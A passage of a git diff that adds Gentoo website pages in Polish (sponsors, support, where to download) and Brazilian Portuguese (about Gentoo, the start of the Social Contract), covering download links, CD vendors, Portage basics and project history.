+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png"
+linkto="http://www.inversepath.com"
+     short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path Ltd. to międzynarodowa firma consultingowa zajmująca się
+bezpieczeństwem sieci i infrastruktury specjalizująca się w rozwiązaniach
+opartych na otwartym oprogramowaniu. Poza ogólną pomocą zapewnia Gentoo
+szkolenia dla deweloperów oraz okazję przetestowania naszych rozwiązań w
+środowiskach produkcyjnych.
+</p>
+
+<p>
+Jedną z usług jakie zapewniał nam Inverse Path był serwer VOIP dla naszych
+deweloperów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> dostarczyło nam <uri
+link="http://www.amigaforever.com/">Amiga Forever CD</uri>, aby ułatwić nam
+pracę nad oprogramowaniem, które umożliwia emulację Amigi w Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>rsync oraz serwerów lustrzanych</title>
+<body>
+
+<p>
+Gentoo Linux w dużej mierze zależy od funkcjonowania globalnej sieci serwerów
+rsync oraz serwerów lustrzanych, na których znajdują się uaktualnienia drzewa
+portage, nowe wersje programów oraz najnowsze wydania Gentoo.  Niektóre serwery
+lustrzane są dostarczane przez osoby prywatne, a inne przez firmy. Pełna lista
+naszych serwerów lustrzanych znajduje się na <uri
+link="/main/en/mirrors.xml">tej stronie</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inni Sponsorzy</title>
+<body>
+
+<p>
+Wiele innych firm i organizacji dostarcza usług i zapewnia wsparcie dla Fundacji
+Gentoo, ale pragną pozostać anonimowi. Chcielibyśmy podziękować im za pomoc.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/support.xml b/xml/htdocs/main/pl/support.xml
new file mode 100644
index 00000000..3d434129
--- /dev/null
+++ b/xml/htdocs/main/pl/support.xml
@@ -0,0 +1,116 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/support.xml,v 1.3 2008/01/19 02:18:53 rane Exp $ -->
+
+<mainpage lang="pl">
+<title>Wsparcie w Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+Jak otrzymać pomoc w problemach związanych z Gentoo Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Pomoc</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo Linux jest dystrybucją tworzoną przez ochotników. Podobnie jest z pomocą
+w rozwiązaniu problemów z nią związanych. Nie możemy zatem zagwarantować pełnej
+pomocy przy rozwiązywaniu problemów, ponieważ nie mamy wystarczających środków,
+aby tego dokonać.
+</p>
+
+<p>
+Jednakże mamy wspaniałą społeczność użytkowników Gentoo, która testuje, pomaga i
+dokumentuje wiele aspektów dystrybucji Gentoo. Radzimy szukać pomocy na <uri
+link="http://forums.gentoo.org">forach Gentoo</uri>, <uri
+link="/main/pl/lists.xml">listach mailingowych </uri> lub <uri
+link="/main/pl/irc.xml">kanałach IRC</uri>.  Warto pamiętać, że dokładne
+dopasowanie tematyki pytania do miejsca w którym jest zadawane znacznie
+przyśpieszy rozwiązanie jego problemu.
+</p>
+
+<p>
+Wielu deweloperów Gentoo często odwiedza powyższe miejsca, aktywnie pomagając w
+rozwiązywaniu problemów i udzielając odpowiedzi na stawiane przez użytkowników
+pytania.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Wymagania sprzętowe</title>
+<body>
+
+<p>
+Wymagania sprzętowe dla każdej architektury znajdują się w <uri
+link="/doc/pl/handbook/index.xml">Podręczniku Gentoo</uri>.
+</p>
+
+<p>
+Gotowe linki do wymagań sprzętowych dla architektur:
+<uri
+link="/doc/pl/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri
+link="/doc/pl/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri
+link="/doc/pl/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>,
+<uri
+link="/doc/pl/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>,
+<uri
+link="/doc/pl/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>,
+<uri
+link="/doc/pl/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>,
+<uri
+link="/doc/pl/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>,
+<uri
+link="/doc/pl/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Skąd pobrać Gentoo</title>
+<body>
+
+<p>
+Gentoo można pobrać z dowolnego z naszych <uri
+link="/main/en/mirrors.xml">serwerów lustrzanych</uri>. Gotowe do ściągnięcia
+pliki ISO są umieszczone w katalogach <path>releases/</path>.
+</p>
+
+<p>
+Więcej informacji o dostępnych obrazach ISO i innych plikach można znaleźć w
+<uri link="/doc/pl/handbook/index.xml">Podręczniku Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Zgłaszanie błędów</title>
+<body>
+
+<p>
+Każdy znaleziony błąd należy zgłosić w <uri
+link="http://bugs.gentoo.org">Bugzilli</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/where.xml b/xml/htdocs/main/pl/where.xml
new file mode 100644
index 00000000..34ec1eb2
--- /dev/null
+++ b/xml/htdocs/main/pl/where.xml
@@ -0,0 +1,320 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/where.xml,v 1.27 2010/03/04 14:49:21 shadow Exp $ -->
+
+<mainpage lang="pl">
+<title>Skąd ściągnąć Gentoo?</title>
+
+<author title="Autor">
+  <mail link="www@gentoo.org">Gentoo WWW Team</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stemer@icpnet.pl">Krzysztof Stemerowicz</mail>
+</author>
+
+<abstract>
+Jak pobrać Gentoo Linux z Internetu.
+</abstract>
+
+<license/>
+
+<version>1.63</version>
+<date>2009-04-24</date>
+
+<chapter>
+<title>Informacje na temat wydań</title>
+<section>
+<body>
+
+<p>
+Opis, uwagi na temat wydań, plany, podprojekty oraz lista deweloperów Gentoo
+pracujących nad płytami Gentoo znajdują się na <uri
+link="/proj/en/releng/">stronie projektu Release Engineering</uri>
+</p>
+
+<p>
+Opis instalacji Gentoo oraz samych płyt instalacyjnych znajduje się w <uri
+link="/doc/pl/handbook/">Podręczniku Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ściąganie Gentoo Linux</title>
+<body>
+
+<p>
+Gentoo jest dostępne za darmo w Internecie. Dzięki poniższym odnośnikom można
+ściągnąć odpowiedni dla danej architektury obraz płyty w formacie ISO. Możliwe
+jest również pobranie płyt za pomocą BitTorrenta. Lista dostępnych torrentów
+znajduje się na stronie <uri
+link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.
+</p>
+
+<!-- Autobuild start -->
+
+<p>
+<b>Gentoo Minimal Install CD oraz pliki Stage</b>
+</p>
+
+<p>
+Zespół Release Engineering tworzy minimalne płyty instalacyjne oraz pliki stage
+w tygodniowych odstępach. Pliki te można znaleźć na naszych serwerach
+lustrzanych w katalogu <path>/releases/&lt;arch&gt;/current/</path>. Dzień, w
+którym pojawia się aktualizacja może różnić się dla poszczególnych architektur.
+</p>
+
+<p>
+Ponieważ wydania te tworzone są automatycznie przez serwery projektu Release
+Engineering, istnieje ryzyko, że plik stage lub płyta CD nie zostanie zbudowana
+w danym tygodniu. W taki wypadku należy po prostu użyć najnowszej dostępnej
+wersji płyty CD lub pliku stage. Starsze wydania możemy znaleźć na serwerach
+lustrzanych w katalogu <path>/releases/&lt;arch&gt;/autobuilds/</path> i
+używamy ich gdy nie znajdziemy aktualnego wydania w katalogu
+<path>current/</path>.
+</p>
+
+<p>
+<uri link="http://distfiles.gentoo.org/releases/alpha/current/">alpha</uri>
+<uri link="http://distfiles.gentoo.org/releases/amd64/current/">amd64</uri>
+<uri link="http://distfiles.gentoo.org/releases/hppa/current/">hppa</uri>
+<uri link="http://distfiles.gentoo.org/releases/ia64/current/">ia64</uri>
+<uri link="http://distfiles.gentoo.org/releases/ppc/current/">ppc</uri>
+<uri link="http://distfiles.gentoo.org/releases/sparc/current/">sparc</uri>
+<uri link="http://distfiles.gentoo.org/releases/x86/current/">x86</uri>
+</p>
+
+<!-- Autobuild end -->
+
+<p>
+Gdy wolimy wybrać serwer lustrzany najbliżej naszego miejsca zamieszkania
+należy go poszukać na stronie <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">www.gentoo.org/main/en/mirrors.xml</uri>.
+</p>
+
+<p>
+Więcej informacji na temat tego co ściągnąć i w jaki sposób zainstalować Gentoo
+należy szukać w <uri link="/doc/pl/handbook/">Podręczniku Gentoo</uri>.
+</p>
+
+<warn>
+Wydanie 2008.0 jest przestarzałe i odnośniki do niego zostaną wkrótce usunięte.
+</warn>
+
+<!-- 2008.0 START -->
+
+<p>
+<b>Gentoo 2008.0 Minimal CD/InstallCD</b>
+<br/>(do 140MB w zależności od architektury)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/alpha/">alpha</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/amd64/">amd64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/hppa/">hppa</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/ia64/">ia64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/ppc/">ppc/ppc64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/sparc64/">sparc64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-minimal/x86/">x86</uri>
+</p>
+
+<p>
+<b>Gentoo 2008.0 Universal install CD</b>
+<br/>(do 600MB w zależności od architektury)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-universal/hppa/">hppa</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-universal/ppc/">ppc/ppc64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-universal/sparc64/">sparc64</uri>
+</p>
+
+<p>
+<b>Gentoo 2008.0 LiveCD </b>
+<br/>(do 710MB w zależności od architektury)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-livecd/x86/">i686</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-livecd/amd64/">amd64</uri>
+</p>
+
+<p>
+<b>Gentoo 2008.0 Package CD</b>
+<br/>(do 640MB w zależności od architektury)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-packagecd/sparc64/">sparc64</uri>
+</p>
+
+<!-- Has not been produced yet.
+<p>
+<b>Gentoo 2008.0 LiveDVD </b>
+<br />(do 4GB w zależności od architektury)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-livedvd/x86/">i686</uri>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-i686-installer-2008.0.torrent">i686</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-livedvd/amd64/">amd64</uri>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-amd64-installer-2008.0.torrent">amd64</uri>
+</p>
+-->
+
+<!-- 2008.0 END -->
+
+</body>
+</section>
+<!--
+<section>
+<title>Oficjalny sklep Gentoo</title>
+<body>
+
+<p>
+<b><uri link="http://www.cafepress.com/officialgentoo">Sklep Gentoo</uri></b>
+sprzedaje wysokiej jakości produkty związane z Gentoo, włączając w to wydania
+naszej dystrybucji na płytach DVD. Część dochodów z każdej sprzedaży jest
+przekazywana bezpośrednio do Fundacji Gentoo, która wykorzystują ją do
+usprawniania pracy deweloperów, np. poprzez rozbudowę infrastruktury z jakiej
+mogą oni korzystać przy tworzeniu dystrybucji.
+</p>
+
+</body>
+</section>-->
+<section>
+<title>Płyty CD z Gentoo</title>
+<body>
+
+<p>
+<!-- CP does not provide boxed versions yet
+We offer "official" boxed versions of Gentoo Linux for sale in our <uri
+link="http://store.gentoo.org/">store</uri>.  Purchases made from this store
+go directly to supporting future development of Gentoo Linux.  In addition, -->
+Wiele niezwiązanych z Gentoo firm sprzedaje tę dystrybucję na płytach CD <!--
+as well -->.  Oto lista dystrybutorów płyt, którzy sprzedają Gentoo na CD:
+</p>
+
+<p>
+<b>Ameryka Północna:</b><br/>
+
+<b><uri link="http://www.cheapbytes.com">CheapBytes</uri></b><br/>
+
+<b><uri link="http://edmunds-enterprises.com">Edmunds Enterprises</uri></b><br/>
+
+<b><uri link="http://store.madtux.org">MadTux</uri></b><br/>
+
+<b><uri link="http://www.frozentech.com">Frozentech</uri></b><br/>
+
+<b><uri link="http://www.osdisc.com/cgi-bin/view.cgi/products/linux/gentoo">OSDisc.com</uri></b><br/>
+
+<b><uri link="http://www.thelinuxstore.ca">The Linux Store</uri></b><br/>
+
+<b><uri link="http://onedollarlinux.com/index.php?cPath=21_30">OneDollarLinux</uri></b><br/>
+
+<br/><b>Europa:</b><br/>
+
+<b><uri link="http://www.linuxpusher.dk/gentoo.php">LinuxPusher.dk (Dania)</uri></b><br/>
+
+<b><uri link="http://www.liniso.de">LinISO.de (Niemcy)</uri></b><br/>
+
+<b><uri link="http://www.eexi.net/content/anoikto_logismiko.php">Eexi.gr (Grecja)</uri></b><br/>
+
+<b><uri link="http://www.munnikes.nl/cd/">Munnikes.nl (Holandia)</uri></b><br/>
+
+<b><uri link="http://www.maxtux.co.uk">MaxTux (Anglia)</uri></b><br/>
+
+<b><uri link="http://www.bsd-systems.co.uk">BSD Systems (Anglia)</uri></b><br/>
+
+<b><uri link="http://getlinux.leprado.com">Getlinux (Francja)</uri></b><br/>
+
+<b><uri link="http://www.cd-dvd-linux-bsd.com">CD/DVD/Linux/BSD (Francja)</uri></b><br/>
+
+<b><uri link="http://www.linuxisos.de/catalog/index.php/cPath/161_53">LinuxISOs (DE)</uri></b><br/>
+
+<b><uri link="http://www.cheaplinux.de/systeme/gentoo.php">CheapLinux (DE)</uri></b><br/>
+
+<b><uri link="http://www.tuxdiscs.com">TuxDiscs (UK)</uri></b><br/>
+
+<b><uri link="http://www.linux-distro.co.uk">Linux-Distro (UK)</uri></b><br/>
+
+<b><uri link="http://www.linuxshoppen.dk/products.php?showgroup_id=14#Gentoo%20Linux">linuxshoppen.dk (Denmark)</uri></b><br/>
+
+<b><uri link="http://www.ikarios.com/p24-Gentoo.html">Ikarios (FR)</uri></b><br/>
+
+<br/><b>Oceania:</b><br/>
+
+<b><uri link="http://www.lankum.com">lankum.com - The Australian Linux/BSD Online Store</uri></b><br/>
+
+<b><uri link="http://shop.linuxit.com.au/">Linux Information Technology (Australia)</uri></b><br/>
+
+<b><uri link="http://www.lsl.com.au/">Linux System Labs Australia</uri></b><br/>
+
+<b><uri link="http://www.linuxcdmall.com/gentoo.html">Linux CD Mall (Nowa Zelandia)</uri></b><br/>
+
+<br/><b>Azja:</b><br/>
+
+<b><uri link="http://linuxflavour.cjb.in/zen/">Linux Flavour (Indie)</uri></b><br/>
+
+</p>
+
+</body>
+</section>
+<section>
+<title>Komputery z preinstalowanym systemem Gentoo</title>
+<body>
+
+<p>
+Na stronie <b><uri link="http://vendors.gentoo.org">sprzedawców
+Gentoo</uri></b> można znaleźć komputery z preinstalowanym systemem Gentoo
+produkowane przez firmy, które wspierają wysiłki deweloperów Gentoo.
+</p>
+
+<p>
+Następujące firmy sprzedają komputery z preinstalowanym systemem Gentoo
+</p>
+
+<p>
+<b>Ameryka Północna:</b><br/>
+
+<b><uri link="http://linuxcertified.com/gentoo-laptop.html">Linux Certified,
+Inc.</uri></b><br/>
+
+<b><uri link="http://www.micronux.com">Micronux</uri></b><br/>
+
+<b><uri link="http://www.rayservers.com/">rayServers</uri></b><br/>
+
+<b><uri link="http://www.microway.com">Microway, Inc.</uri></b> (dostawa
+międzynarodowa)<br/>
+
+<b><uri link="http://www.bestekpc.ca">BestekPC</uri></b><br/>
+
+</p>
+
+<p>
+<b>Australia:</b><br/>
+
+<b><uri link="http://www.vgcomputing.com.au">VG Computing</uri></b>
+</p>
+
+<p>
+<b>Europa:</b><br/>
+
+<b><uri link="http://www.linux-service.be">Linux Service (Belgia)</uri></b>
+</p>
+
+</body>
+</section>
+<section>
+<title>Chcesz być dopisanym na tej stronie?</title>
+<body>
+
+<p>
+Aby znaleźć się na tej stronie wymagane należy sprzedawać nośniki z systemem
+Gentoo w sposób nie przynoszący zysków, zgodnie z postanowieniami licencji GPL
+(możemy pokryć jedynie koszty nośników itp). Można również zawrzeć umowę z
+Gentoo. Może ona być związana na przykład z dotowaniem Gentoo lub pracą jako
+wolontariusz w dowolnej formie. Sprzedawcy, którzy wspierają oprogramowanie
+open source nie zawsze dostają się na listę. Nie wspieramy komercyjnych
+sprzedawców, którzy nie wspomagają w żaden sposób Gentoo ponieważ posiadamy już
+nasz własny sklep Gentoo. Jeśli czerpiemy zyski ze sprzedaży prosimy o kontakt
+z <mail link="pr@gentoo.org">zepsołem public relation</mail> celem zawarcia
+umowy.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/pt_br/about.xml b/xml/htdocs/main/pt_br/about.xml
new file mode 100644
index 00000000..047c8d94
--- /dev/null
+++ b/xml/htdocs/main/pt_br/about.xml
@@ -0,0 +1,206 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pt_br/about.xml,v 1.3 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="pt_br">
+<title>Sobre o Gentoo Linux</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Este documento conta um pouco sobre o Gentoo e suas funcionalidade. Também
+contém fatos históricos do Gentoo.
+</abstract>
+
+<version>1.2</version>
+<date>2005-11-24</date>
+
+<chapter>
+<title>Sobre o Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... em um pôster</title>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux em um parágrafo</title>
+<body>
+
+<p>
+Nós produzimos o Gentoo Linux, um tipo especial de Linux que pode ser otimizado
+e personalizado automaticamente para quase qualquer aplicação ou necessidade.
+Extremo grau de configuração, performance e comunidade de usuários e
+desenvolvedores de qualidade são marcas da experiência do Gentoo.
+</p>
+
+<p>
+Graças a uma tecnologia chamada Portage, o Gentoo Linux pode tornar-se um
+servidor seguro ideal, estação de desenvolvimento, desktop profissional, sistema
+de jogos, solução embedded ou qualquer outra coisa -- o que você quiser. Por
+causa de sua adaptabilidade quase ilimitada, nós chamamos o Gentoo Linux de uma
+<b>meta</b>distribuição.
+</p>
+
+</body>
+</section>
+<section>
+<title>O que é o Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> é o coração do Gentoo Linux, e faz muitas funções chave. Uma
+delas, o Portage é o sistema de <e>distribuição de software</e> do Gentoo Linux.
+Para obter o software mais recente do Gentoo Linux, você digita um comando:
+<c>emerge --sync</c>. Este comando diz para o Portage atualizar sua "árvore do
+Portage" local via Internet. Sua árvore local do Portage contém uma coleção
+completa de scripts que podem ser usados pelo Portage para criar e instalar os
+últimos pacotes do Gentoo. Atualmente, nós temos
+<uri link="http://packages.gentoo.org/categories">mais que 10000 pacotes</uri>
+em nossa árvore do Portage, com atualizações e novos sendo
+<uri link="http://packages.gentoo.org">adicionados a cada momento</uri>.
+</p>
+
+<p>
+O Portage é também um sistema de <e>construção e instalação de pacotes</e>.
+Quando você quiser instalar um pacote, você digita <c>emerge nomedopacote</c>,
+ponto no qual o Portage constrói automaticamente uma versão personalizada do
+pacote de acordo com suas especificações exatas, otimizando-o para seu hardware
+e verificando que funções opcionais do pacote você quer ativadas -- e
+desativando as que você não quer.
+</p>
+
+<p>
+O Portage também mantém seu sistema <e>atualizado</e>. Digitar <c>emerge -u
+world</c> -- um comando -- irá certificar que todos os pacotes que <e>você</e>
+quer em seu sistema são atualizados automaticamente.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux</title>
+<body>
+	
+<p>
+O Portage irá manter seu sistema Gentoo Linux tão "atualizado" quanto você
+quiser. E por causa disso, usuários experientes do Gentoo não prestam muita
+atenção a "novas versões" do Gentoo Linux -- afinal de contas, a última e melhor
+versão do Gentoo Linux está sempre disponível digitando o comando
+<c>emerge --sync</c>. Não há necessidade de esperar vários meses por uma "nova
+versão" do Gentoo Linux ser lançada, já que o Gentoo Linux é continuamente
+atualizado e refinado e estas melhorias são imediatamente disponibilizadas para
+você.
+</p>
+
+<p>
+Claro, nós lançamos CDs oficiais do Gentoo Linux para que novas instalações do
+Gentoo Linux sejam tão atualizadas quanto o possível do início. Aqui está uma
+visão geral do que é incluído no lançamento mais recente do Gentoo Linux:
+</p>	
+
+<ul>
+<li>Suporte para processadores x86, AMD64, PowerPC, UltraSparc, Alpha e MIPS</li>
+<li>Instalação baseada em LiveCD para x86, AMD64, PowerPC, UltraSparc e Alpha</li>
+<li>Últimas versões estáveis do KDE e do GNOME</li>
+<li>Vários kernéis de Linux otimizados</li>
+<li>Ambiente de desenvolvimento GNU muito moderno</li>
+<li>Excelente suporte a sistema de arquivos: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>Excelente suporte de hardware: NVIDIA, Creative Labs Live! e Audigy</li>
+<li>OpenGL modular e sub-sistema de compilador (suporta múltiplas versões coexistentes)</li>
+<li>Scripts de inicialização limpos e baseados em dependências</li>
+<li>Nova iniciativa de segurança do Gentoo "hardened"</li>
+<li>mais de 10000 pacotes do melhor e mais novo software</li>
+<li>Capacidades melhoradas do Portage</li>
+</ul>
+
+<p>
+Se o poder, flexibilidade e velocidade do Gentoo Linux tem apelo para você, nós
+encorajamos você a experimentá-lo. Não achamos que você ficará decepcionado.
+</p>
+
+</body>
+</section>
+<section>
+<title>História do Gentoo</title>
+<body>
+
+<p>
+Tudo começou com Tempo de Sobra. Tempo de descobrir, Tempo de experimentar. Foi
+assim que o criador do Gentoo, Daniel Robbins entrou no mundo do Linux. Ele
+começou com o Debian Linux, configurou umas aplicações, aprendeu os caminhos do
+Linux como a maioria dos usuários do Linux, experimentou umas distribuições e
+começou a ajudar uma distribuição chamada Stampede Linux. Logo, estava
+trabalhando no desenvolvimento do Stampede e seu sistema de gerenciamento de
+pacotes. Após um período de tempo e devido a certos problemas, ele decidiu criar
+sua própria distribuição.
+</p>
+
+<p>
+Assim, nasceu Enoch. Daniel queria que o Enoch fosse uma distribuição
+incrivelmente rápida com capacidade de automatizar completamente a criação de
+pacotes e processo de atualização. Logo já existia um #enoch no irc.freenode.net
+e 10 desenvolvedores ajudando com a distribuição. Depois de um tempo, conforme o
+Enoch começou a ser melhorado, acharam que precisava de um novo nome. Chamaram
+de Gentoo Linux. Por volta da época em que o Gentoo estava chegando no
+lançamento de sua versão 1.0, Daniel comprou uma máquina nova e rápida. O modelo
+da placa-mãe tinha um chip com defeito que fazia o Linux travar quando ocioso e
+por causa disso o desenvolvimento do Linux paralizou-se completamente.
+</p>
+
+<p>
+Já que não havia nada acontecendo com o Gentoo, Daniel mudou para FreeBSD. Ele
+gostou do que viu. Especialmente o sistema de "Ports". E então ele voltou para
+o mundo do Linux. Com a ajuda de desenvolvedores como Achim Gottinger, 
+O Gentoo estava de volta e crescendo. O sistema de gerenciamento de pacotes
+inteiro foi redesenhado e chamado de Portage. O Gentoo está em desenvolvimento
+ativo desde então, com toneladas de funções sendo continuamente adicionadas
+através dos anos. Times de voluntários ajudam a manter o Gentoo super-atualizado
+e com patches para garantir a melhor segurança e estabilidade.
+</p>
+
+<p>
+O modelo de desenvolvimento do Gentoo foi estendido para um método baseado em
+projetos completo, onde cada projeto desenvolve-se independentemente, mas
+cooperando com outros projetos do Gentoo. Encontros regulares entre os líderes
+de projetos (chamados "gerenciadores de projetos") mantêm o passo acelerado do
+desenvolvimento. A Gentoo Foundation foi criada para cuidar das finanças,
+proteção jurídica e controlar o desenvolvimento geral do Gentoo para mantê-lo em
+linha com o <uri link="/main/pt_br/contract.xml">Contrato Social</uri>.
+</p>
+
+<p>
+Em abril de 2004, Daniel decidiu abandonar suas responsabilidades de
+desenvolvedor do Gentoo. Nós somos todos muito gratos por todo trabalho que
+Daniel colocou no Gentoo e desejamos-lhe o melhor.
+</p>
+
+<p>
+O Gentoo ainda continua a crescer, evoluir e melhorar - novos projetos são
+adicionados, novos desenvolvedores juntam-se ao time, novos pacotes são
+adicionados todos dias. A comunidade de desenvolvedores e usuários é sem dúvida
+o valor maior do Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pt_br/contract.xml b/xml/htdocs/main/pt_br/contract.xml
new file mode 100644
index 00000000..0d039e72
--- /dev/null
+++ b/xml/htdocs/main/pt_br/contract.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="pt_br">
+<title>Contrato Social do Gentoo</title>
+
+<author title="Autor">
+  O projeto do Gentoo
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Este documento contém um compromisso com a comunidade do Gentoo sobre a
+liberdade do software do Gentoo, a abertura do processo de desenvolvimento e o
+feedback que nós damos para a comunidade de software livre.
+</abstract>
+
+<version>1.8</version>
+<date>2005-09-17</date>
+
+<chapter>
+<title>Contrato Social do Gentoo</title>
+<section>
+<title>Sobre o Contrato Social do Gentoo</title>
+<body>	
+
+<p>
+Este contrato social tem a intenção de descrever claramente as políticas gerais
+de desenvolvimento e padrões para o time de desenvolvimento do projeto do
+Gentoo. Partes deste documento foram derivadas do <uri 
+link="http://www.debian.org/social_contract">Contrato Social do Debian</uri>. É
+em geral muito similar, com a exceção de que certas partes foram esclarecidas e
+aumentadas, enquanto outras partes foram consideradas redundantes e removidas.
+Comentários são bem-vindos. Por favor, envie-os para nossa lista de discussão,
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>O que é o Gentoo?</title>
+<body>
+
+<p>
+O Gentoo em si é uma coleção de conhecimento livre. Conhecimento neste contexto
+pode ser definido como documentação e meta-dados com conceitos ou domínios
+relevantes a sistemas operacionais e seus componentes, bem como <uri
+link="http://www.fsf.org/philosophy/free-sw.html">software livre</uri>
+contribuído por vários desenvolvedores para o projeto do Gentoo.
+</p>
+
+<p>
+Gentoo, o sistema operacional, é derivado da base conceitual de conhecimento
+descrita acima. Uma sistema operacional do Gentoo deve satisfazer o requerimento
+de auto hospedagem. Em outras palavras, o sistema operacional deve ser capaz de
+se construir do zero usando as ferramentas e meta-dados já mencionados. Se um
+produto associado com um projeto oficial do Gentoo não satisfizer estes
+requisitos, o produto não se qualifica como um sistema operacional do Gentoo.
+</p>
+
+<p>
+Uma lista oficial de projetos do Gentoo está listada na <uri 
+link="/proj/en/metastructure/projects.xml">Meta-estrutura do Gentoo</uri>. Um
+projeto do Gentoo não precisa produzir um sistema operacional do Gentoo para
+ser oficialmente reconhecido.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo é e permanecerá Software Livre</title>
+<body>
+
+<p>
+Nós lançaremos nossas contribuições ao Gentoo como software livre, meta-dados ou
+documentação, sob a GNU General Public License version 2 (ou mais recente, à
+nossa discrição) ou sob a Creative Commons - Attribution / Share Alike version 2 
+(ou mais recente, à nossa discrição). Quaisquer contribuições externas para o
+Gentoo (na forma de fontes livremente distribuíveis, binários, meta-dados ou
+documentação) podem ser incorporadas no Gentoo contanto que estejamos dentro da
+lei. No entanto, o Gentoo nunca irá <e>depender</e> de software ou meta-dados a
+menos que esteja de acordo com a GNU General Public License, a GNU Lesser
+General Public License, a Creative Commons - Attribution/Share Alike ou alguma
+outra licença aprovada pela Open Source Initiative (<uri 
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Nós estamos considerando expandir a cláusula acima para exigir que todos
+componentes centrais do Gentoo devem estar de acordo com uma licença aprovada
+tanto pela OSI <e>quanto</e> pela Free Software Foundation (<uri 
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
